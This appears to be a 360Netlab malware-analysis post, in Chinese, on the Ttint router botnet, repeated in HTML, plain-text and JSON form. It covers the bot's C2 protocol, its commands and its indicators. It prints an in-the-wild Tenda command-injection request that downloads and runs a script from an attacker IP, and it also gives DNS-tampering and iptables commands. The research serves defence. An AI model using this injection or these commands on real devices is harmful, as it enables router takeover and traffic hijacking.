00000050: FB C2 A8 5F FB C1 AC 55 FB C2 AC 5F F3 85 FB 15 ..._...U..._....
00000060: A6 9A F1 09 E8 C6 FD 02 E5 91 A9 04 E7 D5 FF 15 ................
00000070: B2 80 A3 41 B8 92 FD 5A E5 C3 A4 57 B6 C9 AC 5E ...A...Z...W...^
00000080: EF C4 F8 5D E7 C7 A4 5E E7
</code></pre>
<p>把Payload Data同mask进行XOR计算，就得到了明文的Payload，这正是Bot的上线包。</p>
<pre><code>00000000 74 79 70 65 3d 62 61 63 6b 5f 69 6e 66 6f 26 61 |type=back_info&a|
00000010 74 6b 5f 69 64 3d 30 26 74 69 6d 65 3d 26 6f 73 |tk_id=0&time=&os|
00000020 3d 4c 69 6e 75 78 20 34 2e 31 35 2e 30 2d 34 32 |=Linux 4.15.0-42|
00000030 2d 67 65 6e 65 72 69 63 26 63 70 75 3d 69 36 38 |-generic&cpu=i68|
00000040 36 26 69 70 3d 31 39 32 2e 31 36 38 2e 32 32 32 |6&ip=192.168.222|
00000050 2e 31 32 38 26 76 65 72 73 69 6f 6e 3d 35 63 65 |.128&version=5ce|
00000060 30 62 37 63 32 26 61 72 67 73 3d 26 6d 61 63 3d |0b7c2&args=&mac=|
00000070 30 30 3a 30 63 3a 32 39 3a 37 66 3a 32 34 3a 39 |00:0c:29:7f:24:9|
00000080 32
</code></pre>
<h6 id="c2">C2 指令</h6>
<p>Ttint Bot支持22种C2指令，其中复用了Mirai的10种DDoS指令，自己实现了12种C2指令。</p>
<table>
<thead>
<tr>
<th>指令码</th>
<th>功能</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>attack_udp_generic</td>
</tr>
<tr>
<td>1</td>
<td>attack_udp_vse</td>
</tr>
<tr>
<td>2</td>
<td>attack_udp_dns</td>
</tr>
<tr>
<td>9</td>
<td>attack_udp_plain</td>
</tr>
<tr>
<td>3</td>
<td>attack_tcp_flag</td>
</tr>
<tr>
<td>4</td>
<td>attack_tcp_pack</td>
</tr>
<tr>
<td>5</td>
<td>attack_tcp_xmas</td>
</tr>
<tr>
<td>6</td>
<td>attack_grep_ip</td>
</tr>
<tr>
<td>7</td>
<td>attack_grep_eth</td>
</tr>
<tr>
<td>10</td>
<td>attack_app_http</td>
</tr>
<tr>
<td>12</td>
<td>运行nc程序</td>
</tr>
<tr>
<td>13</td>
<td>运行ls程序</td>
</tr>
<tr>
<td>15</td>
<td>执行自定义系统命令</td>
</tr>
<tr>
<td>16</td>
<td>篡改路由器DNS</td>
</tr>
<tr>
<td>18</td>
<td>获取设备信息</td>
</tr>
<tr>
<td>14</td>
<td>设置iptables</td>
</tr>
<tr>
<td>11</td>
<td>运行ifconfig命令</td>
</tr>
<tr>
<td>17</td>
<td>结束自身进程</td>
</tr>
<tr>
<td>19</td>
<td>开启socks5代理</td>
</tr>
<tr>
<td>20</td>
<td>关闭socks5代理</td>
</tr>
<tr>
<td>21</td>
<td>自升级</td>
</tr>
<tr>
<td>22</td>
<td>开启反向shell</td>
</tr>
</tbody>
</table>
<h6 id="c2">C2 指令格式分析</h6>
<p>我们监控到C2向Bot发送了以下指令</p>
<pre><code>00000000: 00 55 00 00 00 0A 0F 01 00 00 00 00 20 02 1A 13 .U.......... ...
00000010: 70 70 2D 6C 4F 76 32 78 39 6E 31 33 58 73 5A 30 pp-lOv2x9n13XsZ0
00000020: 77 76 44 1B 30 69 70 74 61 62 6C 65 73 20 2D 44 wvD.0iptables -D
00000030: 20 49 4E 50 55 54 20 2D 70 20 74 63 70 20 2D 2D INPUT -p tcp --
00000040: 64 70 6F 72 74 20 35 32 36 38 35 20 2D 6A 20 41 dport 52685 -j A
00000050: 43 43 45 50 54 CCEPT
</code></pre>
<p>以下是C2指令格式解析</p>
<pre><code>00 55 ---- msg length
0F ---- cmd id, here is "run system cmd"
02 ---- option number
1A ---- option type, here is "attack id"
13 ---- option length, length of "pp-lOv2x9n13XsZ0wvD" = 0x13
1B ---- option type, here is "attack cmd buf"
30 ---- option length
</code></pre>
<p>一般来说Ttint会通过多个自定义的功能组合在一起实现具体的攻击目的。</p>
<p>以我们在实际中捕获的2条相邻指令为例，按照上文的C2指令格式可知，下面的指令是要执行系统命令，具体的系统命令为<br>
<code>iptables -I INPUT -p tcp --dport 51599 -j ACCEPT</code>,即允许访问受影响设备的51599端口。</p>
<pre><code>00000000: 82 55 00 55 00 00 00 0A 0F 01 00 00 00 00 20 02 .U.U.......... .
00000010: 1A 13 70 70 2D 51 77 76 73 59 59 45 45 4D 70 36 ..pp-QwvsYYEEMp6
00000020: 77 49 31 62 43 1B 30 69 70 74 61 62 6C 65 73 20 wI1bC.0iptables
00000030: 2D 49 20 49 4E 50 55 54 20 2D 70 20 74 63 70 20 -I INPUT -p tcp
00000040: 2D 2D 64 70 6F 72 74 20 35 31 35 39 39 20 2D 6A --dport 51599 -j
00000050: 20 41 43 43 45 50 54 ACCEPT
</code></pre>
<p>下面的指令，是要在要受影响设备的51599端口上开启Socket5代理功能。</p>
<pre><code>00000000: 82 3C 00 3C 00 00 00 0A 13 01 00 00 00 00 20 04 .<.<.......... .
00000010: 1C 05 35 31 35 39 39 1D 06 61 6D 68 78 65 66 1E ..51599..amhxef.
00000020: 08 64 40 61 59 79 31 39 52 1A 13 70 70 2D 30 58 [email protected]
00000030: 74 79 73 61 33 79 58 4D 51 59 6E 6C 41 72 tysa3yXMQYnlAr
</code></pre>
<p>俩个功能的组合，保证了Socket5代理的正常使用。</p>
<h3 id="">处置建议</h3>
<p>我们建议Tenda路由器用户及时检查并更新固件系统。<br>
我们建议读者对相关IP和URL进行监控和封锁。</p>
<h3 id="">联系我们</h3>
<p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> 或者通过邮件<strong>netlab[at]360.cn</strong>联系我们。</p>
<h3 id="ioc">IoC</h3>
<p>IP:</p>
<pre><code>34.92.85.21 Hong Kong ASN15169 GOOGLE
34.92.139.186 Hong Kong ASN15169 GOOGLE
43.249.29.56 Hong Kong ASN133115 HK Kwaifong Group Limited
45.249.92.60 Hong Kong ASN133115 HK Kwaifong Group Limited
45.249.92.72 Hong Kong ASN133115 HK Kwaifong Group Limited
103.60.220.48 Hong Kong ASN133115 HK Kwaifong Group Limited
103.108.142.92 Hong Kong ASN133115 HK Kwaifong Group Limited
103.243.183.248 Hong Kong ASN133115 HK Kwaifong Group Limited
</code></pre>
<p>C2:</p>
<pre><code>cnc.notepod2.com:23231
back.notepod2.com:80
q9uvveypiB.notepod2.com:443
</code></pre>
<p>Update Server:</p>
<pre><code>uhyg8v.notepod2.com:5001
</code></pre>
<p>URL:</p>
<pre><code>http://45.112.205.60/td.sh
http://45.112.205.60/ttint.i686
http://45.112.205.60/ttint.arm5el
http://45.112.205.60/ttint.mipsel
http://34.92.139.186:5001/bot/get.sh
http://34.92.139.186:5001/bot/ttint.mipsel
http://34.92.139.186:5001/bot/ttint.x86_64
</code></pre>
<p>MD5:</p>
<pre><code>3e6a16bcf7a9e9e0be25ae28551150f5
4ee942a0153ed74eb9a98f7ad321ec97
6bff8b6fd606e795385b84437d1e1e0a
733f71eb6cfca905e8904d0fb785fb43
a89cefdf71f2fced35fba8612ad07174
c5cb2b438ba6d809f1f71c776376d293
cfc0f745941ce1ec024cb86b1fd244f3
73ffd45ab46415b41831faee138f306e
</code></pre>
<!--kg-card-end: markdown--> | 本文作者：涂凌鸣，马延龙，叶根深
背景介绍
从2019年11月开始，360Netlab未知威胁检测系统Anglerfish蜜罐节点相继监测到某个攻击者使用2个腾达路由器0-day漏洞传播一个基于Mirai代码开发的远程控制木马（RAT）。
常规的Mirai变种基本都是围绕DDoS做文章，而这个变种不同，在DDoS攻击之外，它针对路由器设备实现了Socket5代理，篡改路由器DNS，设置iptables，执行自定义系统命令等多达12个远程控制功能。
此外，在C2通信层面，它使用WSS (WebSocket over TLS) 协议，一方面这样在流量层面可以规避非常成熟的Mirai流量检测，另一方面可以为C2提供安全加密通信。
在C2本身，攻击者最开始使用了一个Google的云服务IP，其后切换到位于香港的一台托管主机，但是当我们使用网站证书，样本，域名及IP在我们的DNSmon系统里深入扩展关联后，我们看到更多的基础设施IP，更多的样本，和更多的C2域名。
两个0 day，网关设备的12种远控功能，加密流量协议，多次更换的基础设施IP，我们怀疑这个也许不是普通玩家。
这个僵尸网络我们将它命名为Ttint。
0-day漏洞攻击
2019年11月9号，我们监测到攻击者使用第一个Tenda路由器0-day漏洞（CVE-2018-14558 & CVE-2020-10987），传播Ttint样本。值得注意的是，这个漏洞直到2020年7月10号才被披露出来[1]。
GET /goform/setUsbUnload/.js?deviceName=A;cd%20/tmp%3Brm%20get.sh%3Bwget%20http%3A//34.92.139.186%3A5001/bot/get.sh%3Bchmod%20777%20get.sh%3B./get.sh HTTP/1.1
Host: {target}
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.22.0
2020年8月21号，我们监测到攻击者使用第二个Tenda路由器0-day漏洞，传播Ttint样本。
2020年8月28号，我们通过邮件向路由器厂商Tenda报告了第二个0-day漏洞详情以及在野PoC，尚未得到厂商回复。
0-day漏洞影响范围
360 FirmwareTotal系统通过对Tenda路由器固件分析和漏洞验证，发现以下Tenda路由器固件受影响。
US_AC9V1.0BR_V15.03.05.14_multi_TD01
US_AC9V1.0BR_V15.03.05.16_multi_TRU01
US_AC9V1.0BR_V15.03.2.10_multi_TD01
US_AC9V1.0BR_V15.03.2.13_multi_TD01
US_AC9V1.0BR_V15.03.2.13_multi_TDE01
US_AC9V3.0RTL_V15.03.06.42_multi_TD01
US_AC10UV1.0RTL_V15.03.06.48_multi_TDE01
US_AC15V1.0BR_V15.03.05.18_multi_TD01
US_AC15V1.0BR_V15.03.05.19_multi_TD01
US_AC15V1.0BR_V15.03.1.8_EN_TDEUS
US_AC15V1.0BR_V15.03.1.10_EN_TDC+TDEUS
US_AC15V1.0BR_V15.03.1.10_EN_TDCTDEUS
US_AC15V1.0BR_V15.03.1.12_multi_TD01
US_AC15V1.0BR_V15.03.1.16_multi_TD01
US_AC15V1.0BR_V15.03.1.17_multi_TD01
US_AC18V1.0BR_V15.03.05.05_multi_TD01
US_AC18V1.0BR_V15.03.3.6_multi_TD01
US_AC18V1.0BR_V15.03.3.10_multi_TD01
ac9_kf_V15.03.05.19(6318_)_cn
ac18_kf_V15.03.05.19(6318_)_cn
360 Quake网络空间测绘系统通过对全网资产测绘，发现Tenda路由器0-day具体分布如下图所示。
Ttint概览
Ttint是一款基于Mirai代码开发的，针对路由器设备的远程控制木马。它除了复用10个 Mirai DDoS攻击指令以外，还实现了12个控制指令。
我们分析对比了2个时期的Ttint样本，发现它们的C2指令是完全相同的，但它们在所使用的0-day漏洞，XOR Key，C2协议上有一些区别。
逆向分析
总体来说，Ttint的主机行为比较简单，运行时，删除自身文件，操纵watchdog，防止设备重启；通过绑定端口实现单一实例；接着把修改进程名以迷惑用户；最后和解密得到的C2建立连接，上报设备信息，等待C2下发指令，执行对应的攻击或自定义功能。
我们可以看出它保留了mirai大量特征，诸如单一实例，随机进程名，敏感配制信息加密，集成大量攻击向量等；同时创新地重写了网络通信部分，采用websocket协议，在流量层面规避非常成熟的Mirai流量检测。Mirai已经是社区非常熟悉的老朋友了，因此本文不再赘述Ttint中类似的功能，下文将Ttint V2的X86架构版本为例，从自定义的功能出发，剖析其具体实现。
Ttint v2 样本分析
MD5:73ffd45ab46415b41831faee138f306e
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Lib:uclib
Socket5代理
绑定C2下发的特定端口，开启Socket5代理服务。这可以让攻击者远程访问路由器内网，然后实现内网漫游。
篡改路由器DNS
通过修改resolv.conf文件来篡改路由器DNS,
echo nameserver "DNS server" > /etc/etc/resolv.conf
这种篡改的结果就是Ttint的作者可以劫持受影响路由设备下用户的任意网络访问，窃取敏感信息。
设置iptables
通过设置iptables，实现流量转发，目标地址转化功能，下面的模式是将内网的服务暴露到公网上。
iptables -t nat -A PREROUTING -d "" -p tcp --dport "" -j DNAT --to-destination ""
iptables -t nat -A POSTROUTING -d "" -p tcp --dport "" -j SNAT ""
iptables -A FORWARD -d -j ACCEPT
反向shell
通过socket实现反向shell，Ttint的作者可以像使用本地shell一样操作受影响路由设备的shell。
自升级
从指定的的Download URL（默认为uhyg8v.notepod2.com:5001）下载相应CPU架构的Bot程序，实现自升级。
自退出
Ttint通过绑定57322端口实现单一实例，因此杀死使用这个端口的进程，就能实现自退出，达成清理现场的目的。
隐秘的网络通道
通过nc工具监听C2下发的特定端口实现，其中-d的参数的含义是"Detach from stdin",因此我们推测PORT之后存在着重定向的相关指令，可以实现Ttint作者和受影响路由设备之间的数据传输。
nc -d -l "PORT" "some redirect cmd"
上报设备信息
将设备的time，os，cpu，ip，version，mac信息上报给C2，不过在样本中的格式化字串type=back_infoatk_id=%s&time=&os=中出现了一个Bug，遗漏了一个"&"字符。
执行系统命令
通过popen函数，执行C2下发的自定义系统命令
C2协议分析
Ttint Bot样本的C2信息按照Mirai形式加密存储在配置信息表中，XOR Key为0x0EDFCEBDA
c2 ciphertxt:
51 19 55 56 56 45 59 50 49 62 0E 4E 4F 54 45 50 4F 44 12 0E 43 4F 4D 20
c2 plaintxt:
q9uvveypiB.notepod2.com
当Bot运行时，解密得到C2地址ws:q9uvveypiB.notepod2.com:443，然后通过WebSocket over TLS协议和C2进行安全通信。
WebSocket协议
当Ttint C2回复Bot的响应码为101时，说明协议握手完成，然后Bot可以使用WebSocket协议进行通信。以下是经过TLS解密后的WebSocket数据包示例。
Bot的上线包
按照WebSocket协议，我们可以知道Payload长度为0x81, mask为0xD5F39E67，Payload Data数据地址为0x08~0x88。
00000000: 81 FE 00 81 D5 F3 9E 67 A1 8A EE 02 E8 91 FF 04 .......g........
00000010: BE AC F7 09 B3 9C B8 06 A1 98 C1 0E B1 CE AE 41 ...............A
00000020: A1 9A F3 02 E8 D5 F1 14 E8 BF F7 09 A0 8B BE 53 ...............S
00000030: FB C2 AB 49 E5 DE AA 55 F8 94 FB 09 B0 81 F7 04 ...I...U........
00000040: F3 90 EE 12 E8 9A A8 5F E3 D5 F7 17 E8 C2 A7 55 ......._.......U
00000050: FB C2 A8 5F FB C1 AC 55 FB C2 AC 5F F3 85 FB 15 ..._...U..._....
00000060: A6 9A F1 09 E8 C6 FD 02 E5 91 A9 04 E7 D5 FF 15 ................
00000070: B2 80 A3 41 B8 92 FD 5A E5 C3 A4 57 B6 C9 AC 5E ...A...Z...W...^
00000080: EF C4 F8 5D E7 C7 A4 5E E7
把Payload Data同mask进行XOR计算，就得到了明文的Payload，这正是Bot的上线包。
00000000 74 79 70 65 3d 62 61 63 6b 5f 69 6e 66 6f 26 61 |type=back_info&a|
00000010 74 6b 5f 69 64 3d 30 26 74 69 6d 65 3d 26 6f 73 |tk_id=0&time=&os|
00000020 3d 4c 69 6e 75 78 20 34 2e 31 35 2e 30 2d 34 32 |=Linux 4.15.0-42|
00000030 2d 67 65 6e 65 72 69 63 26 63 70 75 3d 69 36 38 |-generic&cpu=i68|
00000040 36 26 69 70 3d 31 39 32 2e 31 36 38 2e 32 32 32 |6&ip=192.168.222|
00000050 2e 31 32 38 26 76 65 72 73 69 6f 6e 3d 35 63 65 |.128&version=5ce|
00000060 30 62 37 63 32 26 61 72 67 73 3d 26 6d 61 63 3d |0b7c2&args=&mac=|
00000070 30 30 3a 30 63 3a 32 39 3a 37 66 3a 32 34 3a 39 |00:0c:29:7f:24:9|
00000080 32
C2 指令
Ttint Bot支持22种C2指令，其中复用了Mirai的10种DDoS指令，自己实现了12种C2指令。
指令码
功能
0
attack_udp_generic
1
attack_udp_vse
2
attack_udp_dns
9
attack_udp_plain
3
attack_tcp_flag
4
attack_tcp_pack
5
attack_tcp_xmas
6
attack_grep_ip
7
attack_grep_eth
10
attack_app_http
12
运行nc程序
13
运行ls程序
15
执行自定义系统命令
16
篡改路由器DNS
18
获取设备信息
14
设置iptables
11
运行ifconfig命令
17
结束自身进程
19
开启socks5代理
20
关闭socks5代理
21
自升级
22
开启反向shell
C2 指令格式分析
我们监控到C2向Bot发送了以下指令
00000000: 00 55 00 00 00 0A 0F 01 00 00 00 00 20 02 1A 13 .U.......... ...
00000010: 70 70 2D 6C 4F 76 32 78 39 6E 31 33 58 73 5A 30 pp-lOv2x9n13XsZ0
00000020: 77 76 44 1B 30 69 70 74 61 62 6C 65 73 20 2D 44 wvD.0iptables -D
00000030: 20 49 4E 50 55 54 20 2D 70 20 74 63 70 20 2D 2D INPUT -p tcp --
00000040: 64 70 6F 72 74 20 35 32 36 38 35 20 2D 6A 20 41 dport 52685 -j A
00000050: 43 43 45 50 54 CCEPT
以下是C2指令格式解析
00 55 ---- msg length
0F ---- cmd id, here is "run system cmd"
02 ---- option number
1A ---- option type, here is "attack id"
13 ---- option length, length of "pp-lOv2x9n13XsZ0wvD" = 0x13
1B ---- option type, here is "attack cmd buf"
30 ---- option length
一般来说Ttint会通过多个自定义的功能组合在一起实现具体的攻击目的。
以我们在实际中捕获的2条相邻指令为例，按照上文的C2指令格式可知，下面的指令是要执行系统命令，具体的系统命令为
iptables -I INPUT -p tcp --dport 51599 -j ACCEPT,即允许访问受影响设备的51599端口。
00000000: 82 55 00 55 00 00 00 0A 0F 01 00 00 00 00 20 02 .U.U.......... .
00000010: 1A 13 70 70 2D 51 77 76 73 59 59 45 45 4D 70 36 ..pp-QwvsYYEEMp6
00000020: 77 49 31 62 43 1B 30 69 70 74 61 62 6C 65 73 20 wI1bC.0iptables
00000030: 2D 49 20 49 4E 50 55 54 20 2D 70 20 74 63 70 20 -I INPUT -p tcp
00000040: 2D 2D 64 70 6F 72 74 20 35 31 35 39 39 20 2D 6A --dport 51599 -j
00000050: 20 41 43 43 45 50 54 ACCEPT
下面的指令，是要在要受影响设备的51599端口上开启Socket5代理功能。
00000000: 82 3C 00 3C 00 00 00 0A 13 01 00 00 00 00 20 04 .<.<.......... .
00000010: 1C 05 35 31 35 39 39 1D 06 61 6D 68 78 65 66 1E ..51599..amhxef.
00000020: 08 64 40 61 59 79 31 39 52 1A 13 70 70 2D 30 58 [email protected]
00000030: 74 79 73 61 33 79 58 4D 51 59 6E 6C 41 72 tysa3yXMQYnlAr
俩个功能的组合，保证了Socket5代理的正常使用。
处置建议
我们建议Tenda路由器用户及时检查并更新固件系统。
我们建议读者对相关IP和URL进行监控和封锁。
联系我们
感兴趣的读者，可以在 twitter 或者通过邮件netlab[at]360.cn联系我们。
IoC
IP:
34.92.85.21 Hong Kong ASN15169 GOOGLE
34.92.139.186 Hong Kong ASN15169 GOOGLE
43.249.29.56 Hong Kong ASN133115 HK Kwaifong Group Limited
45.249.92.60 Hong Kong ASN133115 HK Kwaifong Group Limited
45.249.92.72 Hong Kong ASN133115 HK Kwaifong Group Limited
103.60.220.48 Hong Kong ASN133115 HK Kwaifong Group Limited
103.108.142.92 Hong Kong ASN133115 HK Kwaifong Group Limited
103.243.183.248 Hong Kong ASN133115 HK Kwaifong Group Limited
C2:
cnc.notepod2.com:23231
back.notepod2.com:80
q9uvveypiB.notepod2.com:443
Update Server:
uhyg8v.notepod2.com:5001
URL:
http://45.112.205.60/td.sh
http://45.112.205.60/ttint.i686
http://45.112.205.60/ttint.arm5el
http://45.112.205.60/ttint.mipsel
http://34.92.139.186:5001/bot/get.sh
http://34.92.139.186:5001/bot/ttint.mipsel
http://34.92.139.186:5001/bot/ttint.x86_64
MD5:
3e6a16bcf7a9e9e0be25ae28551150f5
4ee942a0153ed74eb9a98f7ad321ec97
6bff8b6fd606e795385b84437d1e1e0a
733f71eb6cfca905e8904d0fb785fb43
a89cefdf71f2fced35fba8612ad07174
c5cb2b438ba6d809f1f71c776376d293
cfc0f745941ce1ec024cb86b1fd244f3
73ffd45ab46415b41831faee138f306e
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"*本文作者：[涂凌鸣](https://twitter.com/IUnKnow84503351)，[马延龙](https://twitter.com/_O_owl)，[叶根深](https://twitter.com/zom3y3)*\n\n### 背景介绍\n从2019年11月开始，360Netlab未知威胁检测系统Anglerfish蜜罐节点相继监测到某个攻击者使用2个腾达路由器0-day漏洞传播一个基于Mirai代码开发的远程控制木马（RAT）。\n\n常规的Mirai变种基本都是围绕DDoS做文章，而这个变种不同，在DDoS攻击之外，它针对路由器设备实现了Socket5代理，篡改路由器DNS，设置iptables，执行自定义系统命令等多达12个远程控制功能。\n\n此外，在C2通信层面，它使用WSS (WebSocket over TLS) 协议，一方面这样在流量层面可以规避非常成熟的Mirai流量检测，另一方面可以为C2提供安全加密通信。\n\n在C2本身，攻击者最开始使用了一个Google的云服务IP，其后切换到位于香港的一台托管主机，但是当我们使用网站证书，样本，域名及IP在我们的DNSmon系统里深入扩展关联后，我们看到更多的基础设施IP，更多的样本，和更多的C2域名。\n\n两个0 day，网关设备的12种远控功能，加密流量协议，多次更换的基础设施IP，我们怀疑这个也许不是普通玩家。\n\n这个僵尸网络我们将它命名为Ttint。\n\n### 0-day漏洞攻击\n2019年11月9号，我们监测到攻击者使用第一个Tenda路由器0-day漏洞（CVE-2018-14558 & CVE-2020-10987），传播Ttint样本。值得注意的是，这个漏洞直到2020年7月10号才被披露出来[[1\\]](https://blog.securityevaluators.com/tenda-ac1900-vulnerabilities-discovered-and-exploited-e8e26aa0bc68)。\n```\nGET /goform/setUsbUnload/.js?deviceName=A;cd%20/tmp%3Brm%20get.sh%3Bwget%20http%3A//34.92.139.186%3A5001/bot/get.sh%3Bchmod%20777%20get.sh%3B./get.sh HTTP/1.1\nHost: {target}\nConnection: keep-alive\nAccept-Encoding: gzip, deflate\nAccept: */*\nUser-Agent: python-requests/2.22.0\n```\n\n2020年8月21号，我们监测到攻击者使用第二个Tenda路由器0-day漏洞，传播Ttint样本。\n\n2020年8月28号，我们通过邮件向路由器厂商Tenda报告了第二个0-day漏洞详情以及在野PoC，尚未得到厂商回复。\n\n### 0-day漏洞影响范围\n360 FirmwareTotal系统通过对Tenda路由器固件分析和漏洞验证，发现以下Tenda路由器固件受影响。\n```\nUS_AC9V1.0BR_V15.03.05.14_multi_TD01\nUS_AC9V1.0BR_V15.03.05.16_multi_TRU01\nUS_AC9V1.0BR_V15.03.2.10_multi_TD01\nUS_AC9V1.0BR_V15.03.2.13_multi_TD01\nUS_AC9V1.0BR_V15.03.2.13_multi_TDE01\nUS_AC9V3.0RTL_V15.03.06.42_multi_TD01\nUS_AC10UV1.0RTL_V15.03.06.48_multi_TDE01\nUS_AC15V1.0BR_V15.03.05.18_multi_TD01\nUS_AC15V1.0BR_V15.03.05.19_multi_TD01\nUS_AC15V1.0BR_V15.03.1.8_EN_TDEUS\nUS_AC15V1.0BR_V15.03.1.10_EN_TDC+TDEUS\nUS_AC15V1.0BR_V15.03.1.10_EN_TDCTDEUS\nUS_AC15V1.0BR_V15.03.1.12_multi_TD01\nUS_AC15V1.0BR_V15.03.1.16_multi_TD01\nUS_AC15V1.0BR_V15.03.1.17_multi_TD01\nUS_AC18V1.0BR_V15.03.05.05_multi_TD01\nUS_AC18V1.0BR_V15.03.3.6_multi_TD01\nUS_AC18V1.0BR_V15.03.3.10_multi_TD01\nac9_kf_V15.03.05.19(6318_)_cn\nac18_kf_V15.03.05.19(6318_)_cn\n```\n\n360 Quake网络空间测绘系统通过对全网资产测绘，发现Tenda路由器0-day具体分布如下图所示。\n<a href=\"__GHOST_URL__/content/images/2020/09/stats1.png\"><img src=\"__GHOST_URL__/content/images/2020/09/stats1.png\" class=\"kg-image\"/></a>\n\n### Ttint概览\nTtint是一款基于Mirai代码开发的，针对路由器设备的远程控制木马。它除了复用10个 Mirai DDoS攻击指令以外，还实现了12个控制指令。\n\n我们分析对比了2个时期的Ttint样本，发现它们的C2指令是完全相同的，但它们在所使用的0-day漏洞，XOR Key，C2协议上有一些区别。\n<a href=\"__GHOST_URL__/content/images/2020/09/ttint_version.png\"><img src=\"__GHOST_URL__/content/images/2020/09/ttint_version.png\" class=\"kg-image\"/></a>\n\n### 逆向分析\n总体来说，Ttint的主机行为比较简单，运行时，删除自身文件，操纵watchdog，防止设备重启；通过绑定端口实现单一实例；接着把修改进程名以迷惑用户；最后和解密得到的C2建立连接，上报设备信息，等待C2下发指令，执行对应的攻击或自定义功能。\n\n我们可以看出它保留了mirai大量特征，诸如单一实例，随机进程名，敏感配制信息加密，集成大量攻击向量等；同时创新地重写了网络通信部分，采用websocket协议，在流量层面规避非常成熟的Mirai流量检测。Mirai已经是社区非常熟悉的老朋友了，因此本文不再赘述Ttint中类似的功能，下文将Ttint V2的X86架构版本为例，从自定义的功能出发，剖析其具体实现。\n<a href=\"__GHOST_URL__/content/images/2020/11/ttint_enfinalvector.jpg\"><img src=\"__GHOST_URL__/content/images/2020/11/ttint_enfinalvector.jpg\" class=\"kg-image\"/></a>\n#### Ttint v2 样本分析\nMD5:73ffd45ab46415b41831faee138f306e\nELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped\nLib:uclib\n\n\n#### Socket5代理\n绑定C2下发的特定端口，开启Socket5代理服务。这可以让攻击者远程访问路由器内网，然后实现内网漫游。\n<a href=\"__GHOST_URL__/content/images/2020/09/wschat_proxy.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/wschat_proxy.PNG\" class=\"kg-image\"/></a>\n\n#### 篡改路由器DNS\n通过修改resolv.conf文件来篡改路由器DNS,\n```\necho nameserver \"DNS server\" > /etc/etc/resolv.conf\n```\n这种篡改的结果就是Ttint的作者可以劫持受影响路由设备下用户的任意网络访问，窃取敏感信息。\n\n#### 设置iptables\n通过设置iptables，实现流量转发，目标地址转化功能，下面的模式是将内网的服务暴露到公网上。\n```\niptables -t nat -A PREROUTING -d \"\" -p tcp --dport \"\" -j DNAT --to-destination \"\"\niptables -t nat -A POSTROUTING -d \"\" -p tcp --dport \"\" -j SNAT \"\"\niptables -A FORWARD -d -j ACCEPT\n```\n\n#### 反向shell\n通过socket实现反向shell，Ttint的作者可以像使用本地shell一样操作受影响路由设备的shell。\n<a href=\"__GHOST_URL__/content/images/2020/09/wschat_revshell.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/wschat_revshell.PNG\" class=\"kg-image\"/></a>\n\n#### 自升级\n从指定的的Download URL（默认为```uhyg8v.notepod2.com:5001```）下载相应CPU架构的Bot程序，实现自升级。\n<a href=\"__GHOST_URL__/content/images/2020/09/wschat_update.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/wschat_update.PNG\" class=\"kg-image\"/></a>\n#### 自退出\nTtint通过绑定```57322```端口实现单一实例，因此杀死使用这个端口的进程，就能实现自退出，达成清理现场的目的。\n<a href=\"__GHOST_URL__/content/images/2020/09/wschat_kill.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/wschat_kill.PNG\" class=\"kg-image\"/></a>\n#### 隐秘的网络通道\n通过nc工具监听C2下发的特定端口实现，其中-d的参数的含义是\"Detach from stdin\",因此我们推测PORT之后存在着重定向的相关指令，可以实现Ttint作者和受影响路由设备之间的数据传输。\n```\nnc -d -l \"PORT\" \"some redirect cmd\"\n```\n\n#### 上报设备信息\n将设备的time，os，cpu，ip，version，mac信息上报给C2，不过在样本中的格式化字串```type=back_infoatk_id=%s&time=&os=```中出现了一个Bug，遗漏了一个\"&\"字符。\n\n#### 执行系统命令\n通过popen函数，执行C2下发的自定义系统命令\n <a href=\"__GHOST_URL__/content/images/2020/09/wschat_runcmd.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/wschat_runcmd.PNG\" class=\"kg-image\"/></a>\n\n### C2协议分析\nTtint Bot样本的C2信息按照Mirai形式加密存储在配置信息表中，XOR Key为```0x0EDFCEBDA```\n\n```\nc2 ciphertxt:\n51 19 55 56 56 45 59 50 49 62 0E 4E 4F 54 45 50 4F 44 12 0E 43 4F 4D 20\nc2 plaintxt:\nq9uvveypiB.notepod2.com\n```\n\n当Bot运行时，解密得到C2地址```ws:q9uvveypiB.notepod2.com:443```，然后通过WebSocket over TLS协议和C2进行安全通信。\n<a href=\"__GHOST_URL__/content/images/2020/08/wschat_socket.PNG\"><img src=\"__GHOST_URL__/content/images/2020/08/wschat_socket.PNG\" class=\"kg-image\"/></a>\n\n###### WebSocket协议\n当Ttint C2回复Bot的响应码为101时，说明协议握手完成，然后Bot可以使用WebSocket协议进行通信。以下是经过TLS解密后的WebSocket数据包示例。\n<a href=\"__GHOST_URL__/content/images/2020/09/websocket.png\"><img src=\"__GHOST_URL__/content/images/2020/09/websocket.png\" class=\"kg-image\"/></a>\n\n###### Bot的上线包\n按照WebSocket协议，我们可以知道Payload长度为0x81, mask为0xD5F39E67，Payload Data数据地址为0x08~0x88。\n```\n00000000: 81 FE 00 81 D5 F3 9E 67 A1 8A EE 02 E8 91 FF 04 .......g........\n00000010: BE AC F7 09 B3 9C B8 06 A1 98 C1 0E B1 CE AE 41 ...............A\n00000020: A1 9A F3 02 E8 D5 F1 14 E8 BF F7 09 A0 8B BE 53 ...............S\n00000030: FB C2 AB 49 E5 DE AA 55 F8 94 FB 09 B0 81 F7 04 ...I...U........\n00000040: F3 90 EE 12 E8 9A A8 5F E3 D5 F7 17 E8 C2 A7 55 ......._.......U\n00000050: FB C2 A8 5F FB C1 AC 55 FB C2 AC 5F F3 85 FB 15 ..._...U..._....\n00000060: A6 9A F1 09 E8 C6 FD 02 E5 91 A9 04 E7 D5 FF 15 ................\n00000070: B2 80 A3 41 B8 92 FD 5A E5 C3 A4 57 B6 C9 AC 5E ...A...Z...W...^\n00000080: EF C4 F8 5D E7 C7 A4 5E E7 \n```\n\n把Payload Data同mask进行XOR计算，就得到了明文的Payload，这正是Bot的上线包。\n```\n00000000 74 79 70 65 3d 62 61 63 